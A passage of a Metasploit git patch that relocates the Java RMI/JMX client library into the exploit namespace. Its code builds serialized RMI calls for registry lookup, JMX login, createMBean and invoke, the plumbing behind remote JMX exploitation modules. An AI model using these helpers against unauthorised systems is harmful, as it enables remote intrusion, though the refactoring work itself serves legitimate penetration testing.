--- lib/msf/core.rb | 4 - lib/msf/core/exploit/java.rb | 2 + lib/msf/core/exploit/java/rmi/builder.rb | 101 ++++++++ lib/msf/core/exploit/java/rmi/client.rb | 168 +++++++++++++ lib/msf/core/exploit/java/rmi/client/jmx.rb | 27 ++ .../exploit/java/rmi/client/jmx/connection.rb | 128 ++++++++++ .../java/rmi/client/jmx/connection/builder.rb | 238 ++++++++++++++++++ .../exploit/java/rmi/client/jmx/server.rb | 63 +++++ .../java/rmi/client/jmx/server/builder.rb | 77 ++++++ .../java/rmi/client/jmx/server/parser.rb | 40 +++ .../core/exploit/java/rmi/client/registry.rb | 135 ++++++++++ .../java/rmi/client/registry/builder.rb | 70 ++++++ .../java/rmi/client/registry/parser.rb | 53 ++++ lib/msf/core/exploit/java/rmi/util.rb | 127 ++++++++++ lib/msf/java/rmi/builder.rb | 96 ------- lib/msf/java/rmi/client.rb | 164 ------------ lib/msf/java/rmi/client/jmx.rb | 23 -- lib/msf/java/rmi/client/jmx/connection.rb | 122 --------- .../java/rmi/client/jmx/connection/builder.rb | 234 ----------------- lib/msf/java/rmi/client/jmx/server.rb | 57 ----- lib/msf/java/rmi/client/jmx/server/builder.rb | 73 ------ lib/msf/java/rmi/client/jmx/server/parser.rb | 35 --- lib/msf/java/rmi/client/registry.rb | 129 ---------- lib/msf/java/rmi/client/registry/builder.rb | 66 ----- lib/msf/java/rmi/client/registry/parser.rb | 49 ---- lib/msf/java/rmi/util.rb | 122 --------- modules/auxiliary/gather/java_rmi_registry.rb | 2 +- .../auxiliary/scanner/misc/java_rmi_server.rb | 2 +- .../exploits/multi/misc/java_jmx_server.rb | 2 +- .../exploits/multi/misc/java_rmi_server.rb | 2 +- .../exploit/remote}/java/rmi/builder_spec.rb | 6 +- .../rmi/client/jmx/connection/builder_spec.rb | 6 +- .../java/rmi/client/jmx/connection_spec.rb | 6 +- .../rmi/client/jmx/server/builder_spec.rb | 6 +- .../java/rmi/client/jmx/server/parser_spec.rb | 6 +- .../java/rmi/client/jmx/server_spec.rb | 6 +- .../java/rmi/client/registry/builder_spec.rb | 6 +- .../java/rmi/client/registry/parser_spec.rb | 6 +- .../remote}/java/rmi/client/registry_spec.rb | 6 +- .../exploit/remote}/java/rmi/client_spec.rb | 6 +- .../exploit/remote}/java/rmi/util_spec.rb | 6 +- 41 files changed, 1266 insertions(+), 1211 deletions(-) create mode 100644 lib/msf/core/exploit/java/rmi/builder.rb create mode 100644 lib/msf/core/exploit/java/rmi/client.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/jmx.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/jmx/connection.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/jmx/connection/builder.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/jmx/server.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/jmx/server/builder.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/jmx/server/parser.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/registry.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/registry/builder.rb create mode 100644 lib/msf/core/exploit/java/rmi/client/registry/parser.rb create mode 100644 lib/msf/core/exploit/java/rmi/util.rb delete mode 100644 lib/msf/java/rmi/builder.rb delete mode 100644 lib/msf/java/rmi/client.rb delete mode 100644 lib/msf/java/rmi/client/jmx.rb delete mode 100644 lib/msf/java/rmi/client/jmx/connection.rb delete mode 100644 lib/msf/java/rmi/client/jmx/connection/builder.rb delete mode 100644 lib/msf/java/rmi/client/jmx/server.rb delete mode 100644 lib/msf/java/rmi/client/jmx/server/builder.rb delete mode 100644 lib/msf/java/rmi/client/jmx/server/parser.rb delete mode 100644 lib/msf/java/rmi/client/registry.rb delete mode 100644 lib/msf/java/rmi/client/registry/builder.rb delete mode 100644 lib/msf/java/rmi/client/registry/parser.rb delete mode 100644 lib/msf/java/rmi/util.rb rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/builder_spec.rb (95%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/jmx/connection/builder_spec.rb (97%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/jmx/connection_spec.rb (97%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/jmx/server/builder_spec.rb (93%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/jmx/server/parser_spec.rb (93%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/jmx/server_spec.rb (92%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/registry/builder_spec.rb (92%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/registry/parser_spec.rb (94%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client/registry_spec.rb (98%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/client_spec.rb (95%) rename spec/lib/msf/{ => core/exploit/remote}/java/rmi/util_spec.rb (96%) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index deeec9d19a..7b44b365b4 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -75,10 +75,6 @@ require 'msf/http/jboss' # Kerberos Support require 'msf/kerberos/client' -# Java RMI Support -require 'msf/java/rmi/util' -require 'msf/java/rmi/client' - # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index 7a361e715c..1cdd47a674 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -14,6 +14,8 @@ ### require 'msf/core' +require 'msf/core/exploit/java/rmi/util' +require 'msf/core/exploit/java/rmi/client' module Msf module Exploit::Java diff --git a/lib/msf/core/exploit/java/rmi/builder.rb b/lib/msf/core/exploit/java/rmi/builder.rb new file mode 100644 index 0000000000..4b563b8392 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/builder.rb @@ -0,0 +1,101 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Builder + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Fixnum] :object_number Random to identify the object. + # @option opts [Fixnum] :uid_number Identifies the VM where the object was generated. + # @option opts [Fixnum] :uid_time Time where the object was generated. + # @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM + # at the same time. + # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 + # it is -1. + # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # representing the method to call. + # @option opts [Array] :arguments + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + operation = opts[:operation] || -1 + hash = opts[:hash] || 0 + arguments = opts[:arguments] || [] + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new( + number: uid_number, + time: uid_time, + count: uid_count + ) + + call_data = Rex::Proto::Rmi::Model::CallData.new( + object_number: object_number, + uid: uid, + operation: operation, + hash: hash, + arguments: arguments + ) + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client.rb b/lib/msf/core/exploit/java/rmi/client.rb new file mode 100644 index 0000000000..11e6876253 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client.rb @@ -0,0 +1,168 @@ +# -*- coding: binary -*- +require 'rex/proto/rmi' +require 'rex/java/serialization' +require 'stringio' +require 'msf/core/exploit/java/rmi/util' +require 'msf/core/exploit/java/rmi/builder' +require 'msf/core/exploit/java/rmi/client/registry' +require 'msf/core/exploit/java/rmi/client/jmx' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + + include Msf::Exploit::Remote::Java::Rmi::Util + include Msf::Exploit::Remote::Java::Rmi::Builder + include Msf::Exploit::Remote::Java::Rmi::Client::Registry + include Msf::Exploit::Remote::Java::Rmi::Client::Jmx + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super + + register_advanced_options( + [ + OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1]) + ], Msf::Exploit::Remote::Java::Rmi::Client + ) + end + + # Returns the timeout to wait for data between read iterations + # + # @return [Fixnum] + def read_loop_timeout + datastore['RmiReadLoopTimeout'] || 1 + end + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Sends a RMI header stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + end + + # Sends a RMI CALL stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @option opts [Rex::Proto::Rmi::Model::Call] :call + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call + def send_call(opts = {}) + nsock = opts[:sock] || sock + call = opts[:call] || build_call(opts) + nsock.put(call.encode) + end + + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] if success + # @return [NilClass] otherwise + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue Rex::Proto::Rmi::DecodeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ReturnValue] if success + # @return [NilClass] otherwise + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue Rex::Proto::Rmi::DecodeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param nsock [Rex::Socket::Tcp] + # @return [String] + def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout) + data = '' + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + + while res && nsock.has_read_data?(loop_timeout) + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end + end + + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/jmx.rb b/lib/msf/core/exploit/java/rmi/client/jmx.rb new file mode 100644 index 0000000000..584252598e --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/jmx.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- +require 'msf/core/exploit/java/rmi/client/jmx/server' +require 'msf/core/exploit/java/rmi/client/jmx/connection' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Jmx + + include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server + include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection + + OBJECT_NAME_UID = 1081892073854801359 + BYTE_ARRAY_UID = -5984413125824719648 + MARSHALLED_OBJECT_UID = 8988374069173025854 + STRING_ARRAY_UID = -5921575005990323385 + OBJECT_ARRAY_UID = -8012369246846506644 + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/jmx/connection.rb b/lib/msf/core/exploit/java/rmi/client/jmx/connection.rb new file mode 100644 index 0000000000..29a9fd4944 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/jmx/connection.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/java/rmi/client/jmx/connection/builder' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Jmx + # This mixin provides methods to simulate calls to the Java + # javax/management/remote/rmi/RMIConnectionImpl_Stub + # interface + module Connection + + include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder + + # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance + def send_jmx_get_object_instance(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_get_object_instance(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true + end + + # Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean + def send_jmx_create_mbean(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_create_mbean(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'javax.management.ObjectInstance' + return nil + end + + true + end + + # Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call + # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [TrueClass, NilClass] true if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_invoke + def send_jmx_invoke(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_invoke(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + unless return_value.get_class_name == 'java.util.HashSet' + return nil + end + + true + end + + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/jmx/connection/builder.rb b/lib/msf/core/exploit/java/rmi/client/jmx/connection/builder.rb new file mode 100644 index 0000000000..43ee25b050 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/jmx/connection/builder.rb @@ -0,0 +1,238 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Jmx + module Connection + module Builder + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # used to retrieve an MBean instance + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call + def build_jmx_get_object_instance(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + + arguments = build_jmx_get_object_instance_args(name) + + method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: method_hash, + arguments: arguments + ) + + call + end + + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() + # + # @param name [String] the MBean name + # @return [Array] + def build_jmx_get_object_instance_args(name = '') + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID + flags: 3 + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # used to retrieve an MBean instance + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call + def build_jmx_create_mbean(opts = {}) + name = opts[:name] || '' + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') + + arguments = build_jmx_create_mbean_args(name) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: method_hash, + arguments: arguments + ) + + call + end + + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() + # + # @param name [Hash] the MBean name + # @return [Array] + def build_jmx_create_mbean_args(name = '') + arguments = [ + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + end + + + # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # used to invoke an MBean method + # + # @param opts [Hash] + # @option opts [String] :name the MBean name + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call + # @see #build_jmx_invoke_args + def build_jmx_invoke(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;') + + arguments = build_jmx_invoke_args(opts) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: method_hash, + arguments: arguments + ) + + call + end + + # Builds an an array of arguments o build a call to + # javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # + # @param opts [Hash] + # @option opts [String] :object the MBean name + # @option opts [String] :method the method name + # @option opts [Hash] :args the method arguments + # @return [Array] + def build_jmx_invoke_args(opts = {}) + object_name = opts[:object] || '' + method_name = opts[:method] || '' + args = opts[:args] || {} + + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID + values_type: 'byte', + values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID + values_type: 'java.lang.String;', + values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, object_name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, method_name), + marshall_object, + new_array, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() + # method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def build_invoke_arguments_obj_bytes(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/jmx/server.rb b/lib/msf/core/exploit/java/rmi/client/jmx/server.rb new file mode 100644 index 0000000000..8c2d1d18cb --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/jmx/server.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/java/rmi/client/jmx/server/builder' +require 'msf/core/exploit/java/rmi/client/jmx/server/parser' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Jmx + module Server + + include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder + include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser + + # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call + # to the Java javax/management/remote/rmi/RMIServer_Stub#newClient() + # method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The connection information if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_new_client + def send_new_client(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_jmx_new_client(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + remote_object = return_value.get_class_name + + unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + return nil + end + + reference = parse_jmx_new_client_endpoint(return_value) + + reference + end + + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/jmx/server/builder.rb b/lib/msf/core/exploit/java/rmi/client/jmx/server/builder.rb new file mode 100644 index 0000000000..983f942425 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/jmx/server/builder.rb @@ -0,0 +1,77 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Jmx + module Server + module Builder + + # Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient() + # used to enumerate the names bound in a registry + # + # @param opts [Hash] + # @option opts [String] :username the JMX role to establish the connection if needed + # @option opts [String] :password the JMX password to establish the connection if needed + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call + def build_jmx_new_client(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + username = opts[:username] + password = opts[:password] || '' + + if username + arguments = build_jmx_new_client_args(username, password) + else + arguments = [Rex::Java::Serialization::Model::NullReference.new] + end + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient + arguments: arguments + ) + + call + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an javax/management/remote/rmi/RMIServer_Stub#newClient call + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Array] + def build_jmx_new_client_args(username = '', password = '') + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + [auth_array] + end + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/jmx/server/parser.rb b/lib/msf/core/exploit/java/rmi/client/jmx/server/parser.rb new file mode 100644 index 0000000000..8355f87c74 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/jmx/server/parser.rb @@ -0,0 +1,40 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Jmx + module Server + module Parser + # Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value + # to find out the remote reference information. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Hash, NilClass] The remote interface information if success, nil otherwise + def parse_jmx_new_client_endpoint(return_value) + values_size = return_value.value.length + end_point_block_data = return_value.value[values_size - 2] + + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) + return nil + end + + return_io = StringIO.new(end_point_block_data.contents, 'rb') + + reference = extract_reference(return_io) + + reference + end + + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/registry.rb b/lib/msf/core/exploit/java/rmi/client/registry.rb new file mode 100644 index 0000000000..4d8a0b25d4 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/registry.rb @@ -0,0 +1,135 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/java/rmi/client/registry/builder' +require 'msf/core/exploit/java/rmi/client/registry/parser' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + # This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub + # interface + module Registry + + include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder + include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser + + # Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java + # java/rmi/registry/RegistryImpl_Stub#lookup() method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The remote reference information if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_lookup + def send_registry_lookup(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_registry_lookup(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + remote_object = return_value.get_class_name + + if remote_object.nil? + return nil + end + + remote_location = parse_registry_lookup_endpoint(return_value) + + if remote_location.nil? + return nil + end + + remote_location.merge(object: remote_object) + end + + # Sends a Registry list call to the RMI endpoint. Simulates a call to the Java + # java/rmi/registry/RegistryImpl_Stub#list() method + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Array, NilClass] The set of names if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_list + def send_registry_list(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_registry_list(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + names = 